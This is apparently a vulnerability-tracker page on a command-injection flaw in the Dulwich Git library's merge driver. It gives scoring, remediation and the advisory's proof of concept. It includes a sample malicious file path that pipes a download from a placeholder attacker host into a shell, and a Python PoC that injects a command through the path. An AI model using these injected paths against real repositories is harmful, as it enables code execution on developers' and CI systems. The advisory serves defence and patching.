Skip to main content

Dulwich CVE-2026-42563

HIGH
OS Command Injection (CWE-78)
2026-05-28 https://github.com/jelmer/dulwich GHSA-9277-mp7x-85jf
7.7
CVSS 4.0 · Vendor: https://github.com/jelmer/dulwich
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker creates branch in fork
  2. Delivery
    Adds file with shell-metachar path
  3. Exploit
    Victim fetches and initiates merge
  4. Execution
    Dulwich invokes ProcessMergeDriver with %P
  5. Persist
    subprocess.run(shell=True) interprets path
  6. Impact
    Injected commands run as victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all of: (1) the victim runs a Dulwich version between 0.24.0 and 1.2.4 inclusive; (2) the victim's Git configuration (in .gitattributes plus a [merge "<name>"] section in repo, global or system config) defines a custom merge driver whose driver command string contains the %P placeholder - this is a non-default opt-in configuration; (3) the victim actually performs a merge (or a Dulwich-driven operation such as merge_blobs / porcelain merge) that pulls in a tree from an attacker-controlled branch; and (4) the attacker can choose tree entry path names, i.e. they control or contribute to the merged branch. There are no platform constraints (any OS where Dulwich invokes a POSIX-style shell is affected), and no authentication is required of the attacker beyond the ability to publish a branch the victim will merge.

Impact

The vendor CVSS 4.0 score of 7.7 (High) reflects two competing signals: the attack vector is network-reachable (AV:N) because a malicious repository or branch can be delivered over Git, but exploitation requires both a specific Attack Requirement (AT:P - the victim must have a custom merge driver configured that uses %P) and active User Interaction (UI:P - the victim must actually perform the merge). This is not a wormable, default-configuration RCE; it is an opportunistic supply-chain-style attack against developers and CI systems that have opted into custom merge drivers. A working public POC raises priority for affected deployments, but EPSS and CISA KEV data are not provided, so widespread mass exploitation cannot be assumed - treat this as a high-priority patch for downstream tools that embed Dulwich and accept untrusted branches (forge servers, CI runners, code-review bots) rather than a universal emergency for every Dulwich user.

Exploit ScenarioDerived

An attacker pushes a branch to a public fork or untrusted remote in which a tracked file is named with embedded shell metacharacters (e.g. 'x; curl attacker.tld/sh | sh #'). A maintainer or CI bot using a Dulwich-based tool with a custom merge driver registered for that file pattern (using %P) then merges the branch, at which point ProcessMergeDriver constructs a shell command with the malicious path interpolated and subprocess.run with shell=True executes the injected command under the merging user's identity. A complete working POC is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 10, 2026

Command injection in Dulwich (pure-Python Git implementation) versions >= 0.24.0 and < 1.2.5 allows remote attackers to execute arbitrary OS commands when a victim merges an attacker-controlled branch and has a custom merge driver configured that references the %P placeholder. The ProcessMergeDriver passes attacker-controlled file paths from the git tree into subprocess.run with shell=True, so a path like 'x; touch /tmp/pwned #' is interpreted as a shell metacharacter sequence. Publicly available exploit code exists (working POC in the GitHub Security Advisory GHSA-9277-mp7x-85jf); no public exploit in CISA KEV at time of analysis.

Earlier versions of this analysis (2)
v2 Jun 10, 2026 - 23:29 cvss changed CVSS 7.7

Command injection in Dulwich (pure-Python Git implementation) versions 0.24.0 through 1.2.4 allows remote attackers to achieve arbitrary code execution when a victim merges an attacker-controlled branch and has a custom merge driver configured with the %P placeholder. The ProcessMergeDriver substitutes attacker-controlled file paths from the Git tree directly into a shell command via subprocess.run(..., shell=True), enabling shell metacharacter injection. Publicly available exploit code exists (working POC published in the GHSA advisory), but no public exploit identified at time of analysis in the wild.

v1 May 28, 2026 - 22:50

Command injection in Dulwich (pure-Python Git implementation) versions 0.24.0 through 1.2.4 allows arbitrary code execution when a victim merges an attacker-controlled branch while a merge driver using the %P placeholder is configured. The flaw stems from unsanitized file paths from the git tree being substituted into a shell command executed via subprocess.run(..., shell=True). A working proof-of-concept is published in the GHSA advisory, so publicly available exploit code exists, though no CISA KEV listing or EPSS data is provided.

RemediationAI

Vendor-released patch: upgrade Dulwich to version 1.2.5 or later (pip install --upgrade 'dulwich>=1.2.5'), which shell-quotes values substituted into ProcessMergeDriver commands per the security release notes at https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5 and the advisory at https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf. If immediate upgrade is not possible, remove any merge driver configuration that uses the %P placeholder from .gitattributes and .git/config (and from any system or global Git config consumed by Dulwich) - the side effect is loss of custom merge-driver behavior for the affected file patterns, falling back to the default three-way merge. As an operational compensating control, avoid merging branches from untrusted remotes through Dulwich-based tooling (including automated bots and CI pipelines that fetch arbitrary fork branches) until the upgrade is rolled out; the trade-off is reduced automation throughput for fork/PR workflows.

Affected Packages

pypi dulwich fix: 1.2.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dulwich is a pure-Python implementation of the Git file formats and protocols, widely embedded in development tooling, build systems and Git hosting code. The flaw is a classic CWE-78 OS command injection in dulwich/merge_drivers.py (lines 119-129): the ProcessMergeDriver builds a shell command by string-substituting the file's repository path into the %P placeholder of the configured merge.<driver>.driver command, then runs it via subprocess.run(cmd, shell=True). Because the path originates from the merge tree (merge.py line 195) and Git tree entry names are not constrained to shell-safe characters, an attacker who controls a branch can choose a path that contains shell metacharacters such as ';', '|' or backticks, which the shell then interprets as additional commands. The fix shell-quotes substituted values before invoking the shell.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/jelmer/dulwich) PRIMARY 7.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Delivered via network-reachable Git branch (AV:N); requires non-default %P merge driver config (AC:H); attacker needs no privileges (PR:N); victim must perform the merge (UI:R); shell RCE yields full C/I/A:H.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 8.0 HIGH

Primary rating from Vendor (https://github.com/jelmer/dulwich).

CVSS VectorVendor: https://github.com/jelmer/dulwich

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 10, 2026 - 23:29 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 10, 2026 - 23:29 vuln.today
v2 - CVSS changed
CVSS changed
Jun 10, 2026 - 23:22 NVD
7.7 (HIGH)

DescriptionCVE.org

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

  • Type: Command Injection
  • Source: merge.py line 195 - path from merge tree (from repository content when merging untrusted branch)
  • Sink: merge_drivers.py lines 124-127 - subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
  • Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

  • Repository: https://github.com/dulwich/dulwich
  • Vulnerable file: dulwich/merge_drivers.py (lines 119-129)

Proof of Concept

python
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob
# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")
# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned
#
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Executive ViewAI

Why It Matters

Dulwich, a pure-Python Git library used in development and build environments, contains a vulnerability enabling arbitrary code execution when developers merge attacker-controlled branches configured with custom merge settings. Organizations using affected versions (0.24.0 through 1.2.4) face potential compromise of code repositories, build systems, and development infrastructure. Publicly available exploit code exists, requiring urgent vulnerability remediation across all affected systems.

Business Impact: High
Compensating Controls

Apply vendor patch: upgrade Dulwich to version 1.2.5 or later. Interim mitigation if patching is delayed: disable or restrict custom merge drivers with %P placeholder usage; restrict merge operations to verified trusted code sources until patches are deployed.

Threat Intelligence Overview

EPSS Score
0.1%
Top 75% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:pip/dulwich

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy